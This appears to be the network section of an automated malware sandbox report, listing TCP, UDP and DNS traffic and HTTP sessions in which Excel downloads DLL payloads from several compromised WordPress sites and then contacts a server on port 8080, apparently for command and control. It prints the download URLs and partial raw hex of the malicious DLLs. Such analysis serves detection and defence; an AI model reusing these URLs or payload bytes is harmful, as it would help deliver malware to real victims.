May 23, 2022 09:11:27.736706972 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:11:27.736819983 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:28.656150103 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:28.699088097 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:11:28.699161053 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:28.754998922 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:28.797926903 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:11:28.810859919 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:11:28.810895920 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:11:28.811034918 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:28.835515976 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:28.880177975 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:11:28.880873919 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:29.119657993 CEST	49180	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:29.162535906 CEST	8080	49180	165.22.73.229	192.168.2.22
May 23, 2022 09:11:29.163055897 CEST	49180	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:29.215929031 CEST	49180	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:29.258644104 CEST	8080	49180	165.22.73.229	192.168.2.22
May 23, 2022 09:11:29.269640923 CEST	8080	49180	165.22.73.229	192.168.2.22
May 23, 2022 09:11:29.269670963 CEST	8080	49180	165.22.73.229	192.168.2.22
May 23, 2022 09:11:29.269740105 CEST	49180	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:29.276899099 CEST	49180	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:29.321459055 CEST	8080	49180	165.22.73.229	192.168.2.22
May 23, 2022 09:11:29.324666023 CEST	49180	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:29.496182919 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:29.581789017 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:11:29.746450901 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:11:29.746689081 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:30.038295031 CEST	49180	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:30.121949911 CEST	8080	49180	165.22.73.229	192.168.2.22
May 23, 2022 09:11:30.289547920 CEST	8080	49180	165.22.73.229	192.168.2.22
May 23, 2022 09:11:30.289969921 CEST	49180	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:30.733813047 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:11:30.733848095 CEST	8080	49177	165.22.73.229	192.168.2.22
May 23, 2022 09:11:30.733992100 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:32.747649908 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:11:32.747684956 CEST	8080	49179	165.22.73.229	192.168.2.22
May 23, 2022 09:11:32.747826099 CEST	49179	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:33.289201975 CEST	8080	49180	165.22.73.229	192.168.2.22
May 23, 2022 09:11:33.289233923 CEST	8080	49180	165.22.73.229	192.168.2.22
May 23, 2022 09:11:33.289377928 CEST	49180	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:34.027375937 CEST	49181	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:34.070420980 CEST	8080	49181	165.22.73.229	192.168.2.22
May 23, 2022 09:11:34.071338892 CEST	49181	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:34.200769901 CEST	49181	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:34.242854118 CEST	8080	49181	165.22.73.229	192.168.2.22
May 23, 2022 09:11:34.253952026 CEST	8080	49181	165.22.73.229	192.168.2.22
May 23, 2022 09:11:34.253982067 CEST	8080	49181	165.22.73.229	192.168.2.22
May 23, 2022 09:11:34.254185915 CEST	49181	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:34.261413097 CEST	49181	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:34.305515051 CEST	8080	49181	165.22.73.229	192.168.2.22
May 23, 2022 09:11:34.305617094 CEST	49181	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:34.944618940 CEST	49181	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:35.029506922 CEST	8080	49181	165.22.73.229	192.168.2.22
May 23, 2022 09:11:35.194545031 CEST	8080	49181	165.22.73.229	192.168.2.22
May 23, 2022 09:11:35.194590092 CEST	8080	49181	165.22.73.229	192.168.2.22
May 23, 2022 09:11:35.194817066 CEST	49181	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:11:38.196368933 CEST	8080	49181	165.22.73.229	192.168.2.22
May 23, 2022 09:11:38.196434021 CEST	8080	49181	165.22.73.229	192.168.2.22
May 23, 2022 09:11:38.196619987 CEST	49181	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:12:53.079247952 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:12:53.079525948 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:12:53.079770088 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:12:53.079993010 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:12:53.375053883 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:12:53.376171112 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:12:53.406249046 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:12:53.593436003 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:12:53.983469963 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:12:53.983525991 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:12:54.137310982 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:12:54.498347044 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:12:55.184776068 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:12:55.184926987 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:12:55.481450081 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:12:56.230165958 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:12:57.602967978 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:12:57.603423119 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:12:58.117925882 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:12:59.678014994 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:13:02.408247948 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:13:02.408641100 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:13:03.406755924 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:13:06.558228970 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:13:12.018697977 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:13:12.022205114 CEST	49176	80	192.168.2.22	107.189.3.39
May 23, 2022 09:13:13.236799002 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:13:13.236874104 CEST	49177	8080	192.168.2.22	165.22.73.229
May 23, 2022 09:13:13.968890905 CEST	49175	80	192.168.2.22	66.71.247.68

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 09:10:53.219748974 CEST	55868	53	192.168.2.22	8.8.8.8
May 23, 2022 09:10:53.591710091 CEST	53	55868	8.8.8.8	192.168.2.22
May 23, 2022 09:10:57.178133965 CEST	49688	53	192.168.2.22	8.8.8.8
May 23, 2022 09:10:57.197616100 CEST	53	49688	8.8.8.8	192.168.2.22
May 23, 2022 09:11:00.364746094 CEST	58836	53	192.168.2.22	8.8.8.8
May 23, 2022 09:11:01.418008089 CEST	58836	53	192.168.2.22	8.8.8.8
May 23, 2022 09:11:01.437613010 CEST	53	58836	8.8.8.8	192.168.2.22
May 23, 2022 09:11:04.926969051 CEST	50134	53	192.168.2.22	8.8.8.8
May 23, 2022 09:11:05.052700996 CEST	53	50134	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 23, 2022 09:10:53.219748974 CEST	192.168.2.22	8.8.8.8	0x2ee2	Standard query (0)	learnviaonline.com	A (IP address)	IN (0x0001)
May 23, 2022 09:10:57.178133965 CEST	192.168.2.22	8.8.8.8	0x2ee2	Standard query (0)	kolejleri.com	A (IP address)	IN (0x0001)
May 23, 2022 09:11:00.364746094 CEST	192.168.2.22	8.8.8.8	0xe372	Standard query (0)	stainedglassexpress.com	A (IP address)	IN (0x0001)
May 23, 2022 09:11:01.418008089 CEST	192.168.2.22	8.8.8.8	0xe372	Standard query (0)	stainedglassexpress.com	A (IP address)	IN (0x0001)
May 23, 2022 09:11:04.926969051 CEST	192.168.2.22	8.8.8.8	0x6607	Standard query (0)	milanstaffing.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
May 23, 2022 09:10:53.591710091 CEST	8.8.8.8	192.168.2.22	0x2ee2	No error (0)	learnviaonline.com	103.171.181.223	A (IP address)	IN (0x0001)
May 23, 2022 09:10:57.197616100 CEST	8.8.8.8	192.168.2.22	0x2ee2	No error (0)	kolejleri.com	85.114.142.153	A (IP address)	IN (0x0001)
May 23, 2022 09:11:01.437613010 CEST	8.8.8.8	192.168.2.22	0xe372	No error (0)	stainedglassexpress.com	66.71.247.68	A (IP address)	IN (0x0001)
May 23, 2022 09:11:05.052700996 CEST	8.8.8.8	192.168.2.22	0x6607	No error (0)	milanstaffing.com	107.189.3.39	A (IP address)	IN (0x0001)
May 23, 2022 09:11:24.828629971 CEST	8.8.8.8	192.168.2.22	0xd862	No error (0)	windowsupdatebg.s.llnwi.net	95.140.230.192	A (IP address)	IN (0x0001)
May 23, 2022 09:11:24.828629971 CEST	8.8.8.8	192.168.2.22	0xd862	No error (0)	windowsupdatebg.s.llnwi.net	95.140.230.128	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

learnviaonline.com

kolejleri.com

stainedglassexpress.com

milanstaffing.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	103.171.181.223	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:10:53.772973061 CEST	2	OUT	GET /wp-admin/qGb/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: learnviaonline.com Connection: Keep-Alive
May 23, 2022 09:10:53.993267059 CEST	3	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 07:10:53 GMT Server: Apache Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 07:10:53 GMT Content-Disposition: attachment; filename="Jf8.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b337ddc562=1653289853; expires=Mon, 23-May-2022 07:11:53 GMT; Max-Age=60; path=/ Last-Modified: Mon, 23 May 2022 07:10:53 GMT Content-Length: 371200 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEd{b" 5@P .text `.rdata4 @@.data7@.pdata@@.rsrc@@.reloc@B
May 23, 2022 09:10:53.993318081 CEST	5	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H\$Hl$Ht$WH0IHH
May 23, 2022 09:10:53.993345976 CEST	6	IN	Data Raw: c7 45 f4 27 4c 03 23 c7 45 f8 93 03 41 1d c7 45 fc 09 3a 50 74 c7 45 00 fe 27 4e 38 c7 45 04 31 3e 23 4a c7 45 08 b3 10 75 4a c7 45 0c 40 2c 3a 0c c7 45 10 f1 35 75 13 c7 45 14 50 06 0d 4b c7 45 18 ac 04 e3 73 c7 45 1c 08 23 20 80 c7 45 20 20 c1 Data Ascii: E'L#EAE:PtE'N8E1>#JEuJE@,:E5uEPKEsE# E )E$Ee&E(r#E,4XE0AE4pE8$ /E<@"/E@$ED 5.EHAELPEP"_ET<3EX39E\xE`]^Ed@Eh2('El -EpD\|_Et/1Ex{;E\|3
May 23, 2022 09:10:53.993374109 CEST	8	IN	Data Raw: 02 00 00 36 24 12 2d c7 85 38 02 00 00 ee 70 95 0c c7 85 3c 02 00 00 0c 52 02 90 c7 85 40 02 00 00 14 8e 07 3b c7 85 44 02 00 00 24 04 53 8a c7 85 48 02 00 00 13 f9 55 14 c7 85 4c 02 00 00 15 db 41 dc c7 85 50 02 00 00 a5 6c 4f 29 c7 85 54 02 00 Data Ascii: 6$-8p<R@;D$SHULAPlO)T'J:XA!\:-ZZ`'Npd%2[h0-RlAipN7#6tY&xV\|?-mDDCw_>zT
May 23, 2022 09:10:53.993402958 CEST	9	IN	Data Raw: 85 4c 04 00 00 64 1e ea 16 c7 85 50 04 00 00 88 48 ea da c7 85 54 04 00 00 c1 3e 74 54 c7 85 58 04 00 00 10 89 e4 c6 c7 85 5c 04 00 00 c3 d9 36 71 c7 85 60 04 00 00 51 17 b1 18 c7 85 64 04 00 00 9d 6c 68 36 c7 85 68 04 00 00 3b a8 23 ae c7 85 6c Data Ascii: LdPHT>tTX\6q`Qdlh6h;#l-p"mtHxd\|6uzJ\Ng(kjQCeMh5cjAkt}8#5
May 23, 2022 09:10:53.993429899 CEST	10	IN	Data Raw: 22 c7 85 64 06 00 00 e7 0c 61 dc c7 85 68 06 00 00 97 ff 9c 44 c7 85 6c 06 00 00 74 89 4a 4d c7 85 70 06 00 00 56 ba c7 30 c7 85 74 06 00 00 52 91 79 69 c7 85 78 06 00 00 b4 60 e6 4d c7 85 7c 06 00 00 eb 64 ea 05 c7 85 80 06 00 00 dc 57 24 42 c7 Data Ascii: "dahDltJMpV0tRyix`M\|dW$BxDt6rn&.5%Y\?0,'aPKxI)5JgWTQv}Np}3
May 23, 2022 09:10:53.993458033 CEST	12	IN	Data Raw: c4 12 48 c7 85 7c 08 00 00 d4 ec 01 5a c7 85 80 08 00 00 a6 af 70 56 c7 85 84 08 00 00 96 0c b5 91 c7 85 88 08 00 00 56 16 3f ae c7 85 8c 08 00 00 89 78 9c 98 c7 85 90 08 00 00 2e 3e a1 14 c7 85 94 08 00 00 77 82 20 4e c7 85 98 08 00 00 ad a3 6a Data Ascii: H\|ZpVV?x.>w NjI"WzA8#'4+kAkD}LhH#FUWM6\|jb(/N
May 23, 2022 09:10:53.993484974 CEST	13	IN	Data Raw: 98 16 c7 85 90 0a 00 00 da 7c 50 57 c7 85 94 0a 00 00 98 3f 36 8d c7 85 98 0a 00 00 59 fa 22 70 c7 85 9c 0a 00 00 10 d8 76 76 c7 85 a0 0a 00 00 2b 2b a3 ca c7 85 a4 0a 00 00 6f b4 28 52 c7 85 a8 0a 00 00 94 ac 67 7e c7 85 ac 0a 00 00 a8 00 a2 69 Data Ascii: \|PW?6Y"pvv++o(Rg~iC"syvA)3HuH"E3E3FH$A@A0H$L$HHHt3AH
May 23, 2022 09:10:53.993510962 CEST	14	IN	Data Raw: 07 33 c0 e9 a9 01 00 00 e8 5e 09 00 00 85 c0 75 0c e8 f5 54 00 00 33 c0 e9 94 01 00 00 e8 f9 53 00 00 ff 15 6b ec 01 00 48 89 05 9c b3 02 00 e8 77 52 00 00 48 89 05 d8 8f 02 00 e8 3b 42 00 00 85 c0 7d 11 e8 f2 09 00 00 e8 bd 54 00 00 33 c0 e9 5c Data Ascii: 3^uT3SkHwRH;B}T3\!L\|I\|3;tHT3)Y;sk\|$XuY=X~DPH=]u<eH`+TH\|$`u={{t
May 23, 2022 09:10:53.993540049 CEST	16	IN	Data Raw: 00 8b 40 48 89 44 24 30 eb 0a 8b 44 24 30 ff c0 89 44 24 30 48 8b 84 24 88 00 00 00 8b 00 39 44 24 30 0f 83 b6 01 00 00 8b 44 24 30 48 6b c0 10 48 8b 8c 24 88 00 00 00 8b 44 01 04 48 39 44 24 68 0f 82 92 01 00 00 8b 44 24 30 48 6b c0 10 48 8b 8c Data Ascii: @HD$0D$0D$0H$9D$0D$0HkH$DH9D$hD$0HkH$DH9D$hsD$0HkH$\|XD$0HkH$\|uD$H3D$0HkH$DHD$xHD$pH$HL$8T$pD$H\|$H}3\|$H
May 23, 2022 09:10:54.141078949 CEST	17	IN	Data Raw: 08 48 83 ec 28 48 8b 44 24 30 48 8d 0d 76 f7 01 00 48 89 88 a0 00 00 00 48 8b 44 24 30 c7 40 10 00 00 00 00 48 8b 44 24 30 c7 40 1c 01 00 00 00 48 8b 44 24 30 c7 80 c8 00 00 00 01 00 00 00 48 8b 44 24 30 c6 80 74 01 00 00 43 48 8b 44 24 30 c6 80 Data Ascii: H(HD$0HvHHD$0@HD$0@HD$0HD$0tCHD$0CHD$0HxHSTHD$0HT/THD$0HL$8HHD$0HuHD$0H"xHHD$0HzT?TH(

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49174	85.114.142.153	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:10:57.229271889 CEST	393	OUT	GET /wp-admin/REvup/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: kolejleri.com Connection: Keep-Alive
May 23, 2022 09:10:57.325115919 CEST	395	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 May 2022 07:10:57 GMT Content-Type: application/x-msdownload Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.29 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 07:10:57 GMT Content-Disposition: attachment; filename="4HWP0KQI.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b338146fc9=1653289857; expires=Mon, 23-May-2022 07:11:57 GMT; Max-Age=60; path=/ Last-Modified: Mon, 23 May 2022 07:10:57 GMT Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec fd 09 7c 53 c5 f6 00 8e df a4 09 84 d2 92 00 2d 94 3d 40 81 22 5b 15 d4 22 54 53 2c 7a 2b 05 0b 02 56 45 2d b2 55 41 ad 90 40 55 40 6a 5a a5 86 6a 55 54 f4 b9 e0 8e 3b 4f 11 81 87 da 02 92 82 f8 44 dc d0 87 8a fb 8d 41 c5 95 ba 35 ff b3 cc dc 7b 73 93 a2 be f7 fd fd ff ff cf ff f3 e7 3d 9b 73 67 3d 73 e6 cc 99 33 33 67 ce 4c 3c b7 5e 49 51 14 c5 01 ff c5 62 8a b2 49 e1 7f 3e e5 cf ff 69 f0 5f 87 3e 5b 3a 28 1b da bd d6 77 93 ad f8 b5 be 53 cb 2f 5e e4 ad 58 78 f9 bc 85 33 2f f5 ce 9a 79 d9 65 97 fb bd 17 cd f1 2e 0c 5c e6 bd f8 32 6f e1 99 67 79 2f bd 7c f6 9c e1 e9 e9 a9 d9 a2 8c 3b 9f 6b 9b f7 c1 be 8b e7 cb ff 9e 7d 68 fb fc 20 fd 1e 99 ff 2e fc be f5 f8 af f3 df a7 b8 f2 f9 d5 14 be 6d fe cf f4 fb fd fc 03 f4 fb 83 f8 fd 91 7e a7 5c 3c ab 1c cb b1 e2 5a 32 5e 51 66 5f d7 46 f9 e9 ea eb 2f 92 61 87 95 7e de f6 f6 54 68 bc 5d 51 1e 48 a1 b0 15 c7 c3 1f 0f 83 36 45 c0 10 ed c4 3f 8a f1 ab 28 6d 88 68 e1 5e 6d 20 c4 67 93 99 e4 4f e2 37 83 eb 1f b7 2b d5 f0 fb d9 fd 76 a5 84 42 53 94 df 23 50 e6 61 bb b2 c7 6d 42 f8 b0 53 59 6d 57 fe fe 3f af 5d 59 73 94 7c c3 fd 73 2a fd f0 fb 6b 8a 9d 11 c2 b6 3b 2c 45 28 4a d9 f0 85 b3 67 fa 67 2a ca a8 10 97 a9 ac 82 5f 57 7c c1 3e f8 ff 70 4e a6 ac 39 11 1b 07 f1 19 f0 bb 3a 21 5d c3 f0 0a 4e 48 6d 3c 2c ea 5e 97 a4 bc 85 8b 16 ce 02 98 68 82 9c f9 15 fc 6e 4a 96 6e ce 82 cb 21 e1 ef 6d 14 a2 95 e2 82 df 07 9c d6 74 e3 5a a7 c4 ff ff 1f fe 53 6b 67 64 bb d4 da 05 d9 1e b5 d6 9f 9d 75 b6 1a 3c 94 5b 14 da af 86 be 57 43 91 58 e6 d7 6e bb 32 7e e4 ae e2 d0 2b 05 75 93 6d a1 26 48 9d 83 09 bd b1 cc dd 10 35 b2 41 0d ee 8a a9 a1 96 ef 9f 56 43 db d5 23 6f a8 b1 5d ea 90 46 35 d8 6c 5f d4 76 93 d3 a7 ac 88 e6 ee 74 1c eb 55 63 8d 6a dd d8 63 87 bc 17 cb fc 87 5e 62 a8 09 ca b4 73 89 4b b1 c4 0a 2e 31 34 23 db a7 86 16 64 ab 6a c8 9f 5d a2 06 77 e4 5e b8 7d 8f fc 47 f8 22 96 25 6a c8 79 f6 7d 76 45 1d b9 43 ad 2d c4 c4 5b b3 57 60 83 42 bb d5 d0 fb b1 29 9e e2 ba e2 ec bc 82 4d 1e 0a db ab d6 15 66 e7 aa a1 57 31 ad 37 76 56 56 4d 83 5f 20 d8 33 b8 34 3b d7 13 f8 be 38 54 9d bd 12 13 63 3e 35 f4 ae f6 71 4b 0c 9a 56 0c 45 8f dc a3 4d ed 8b c5 cc c8 2e 03 7c 4a 92 e1 53 06 f8 84 ef d5 f1 29 41 7c ea 93 e0 e3 fa 33 7c 72 11 1f 57 e0 7b b5 6e 2a Data Ascii: 1faa\|S-=@"["TS,z+VE-UA@U@jZjUT;ODA5{s=sg=s33gL<^IQbI>i_>[:(wS/^Xx3/ye.\2ogy/\|;k}h .m~\<Z2^Qf_F/a~Th]QH6E?(mh^m gO7+vBS#PamBSYmW?]Ys\|sk;,E(Jgg_W\|>pN9:!]NHm<,^hnJn!mtZSkgdu<[WCXn2~+um&H5AVC#o]F5l_vtUcjc^bsK.14#dj]w^}G"%jy}vEC-[W`B)MfW17vVVM_ 34;8Tc>5qKVEM.\|JS)A\|3\|rW{n*
May 23, 2022 09:10:57.325160980 CEST	396	IN	Data Raw: d0 01 33 c5 32 2f eb 60 57 20 c5 87 88 e3 1a 81 a3 0f 71 cc 17 38 96 20 8e eb bd 8c 63 05 e0 58 26 70 44 fc 44 d7 8e fc 0f f5 ea 2f 6a cd ae 40 07 a6 73 16 92 d8 7b e1 76 75 56 c1 58 62 82 d0 2a 17 d1 20 e5 f5 d0 c5 3d 0b 43 45 de c2 d0 e4 6c 35 Data Ascii: 32/`W q8 cX&pDD/j@s{vuVXb* =CEl5S='!9Yk0wO5SAVY{UMiwosoLShkEFGQprD_f@a{-(D={\|uOf:=y=5 c@5A:qG\|;f/
May 23, 2022 09:10:57.325176954 CEST	397	IN	Data Raw: 1e bb 73 f9 af e1 9a 72 80 7a 2d 49 83 7a 17 00 f4 ed 53 a7 fa c2 35 15 00 cd 1f 90 7d 51 b8 c6 0f d0 6a f7 a1 76 e1 9a 4a 80 8a cb e6 6c 0a d7 2c 45 4c 4f 7d aa 10 f8 0f a0 53 97 4c 05 da 57 03 74 c5 d4 6e bf 01 ff 01 34 f3 e2 c5 50 c7 2a 80 76 Data Ascii: srz-IzS5}QjvJl,ELO}SLWtn4Pv=m?@uW_AZT[C6e-@Ob;/k~q\?1%<t+1s<pNR Lohm@o?evu}z?lE:g
May 23, 2022 09:10:57.325192928 CEST	399	IN	Data Raw: ef 03 9f 8e 05 68 d9 c5 cf 6e 07 fe 03 e8 e2 71 57 c1 0c 51 08 d0 b3 17 74 be 07 f8 0f 71 fe f7 63 30 07 14 63 de de 5f 41 7b 4b 00 5a a9 7e 05 18 4c 05 a8 f1 64 3f c8 9c 52 07 ca 9c cf 60 d4 ce 00 68 fb 7b 27 5c 01 fc 07 d0 e4 ae ff 04 3e 9d 0d Data Ascii: hnqWQtqc0c_A{KZ~Ld?R`h{'\>=A4fco{R(.1Jn@D*?>wj3<io HzX\|!n.)8u^xzY@I]e=ufM.hV
May 23, 2022 09:10:57.325211048 CEST	400	IN	Data Raw: c3 7a 8b 8f 85 35 36 ee 6a cf 79 61 26 e4 50 da c2 2a f5 ed f3 40 de 3b 00 3a 30 e0 44 90 75 2e 80 3e a8 5b 0e ba 59 1a 40 2b ba 3a ca 81 ff 00 ea d2 b7 3f 70 4e 06 40 4f cc 3c 67 1a f0 1f 40 d3 8f bb 05 7a a1 27 40 1f f7 c4 b5 95 17 a0 a5 25 8f Data Ascii: z56jya&P*@;:0Du.>[Y@+:?pN@O<g@z'@%\[LC=vVOXO:A;ft@b'4`tGmq]\|#id:S@2?~6@EoQ}@gz
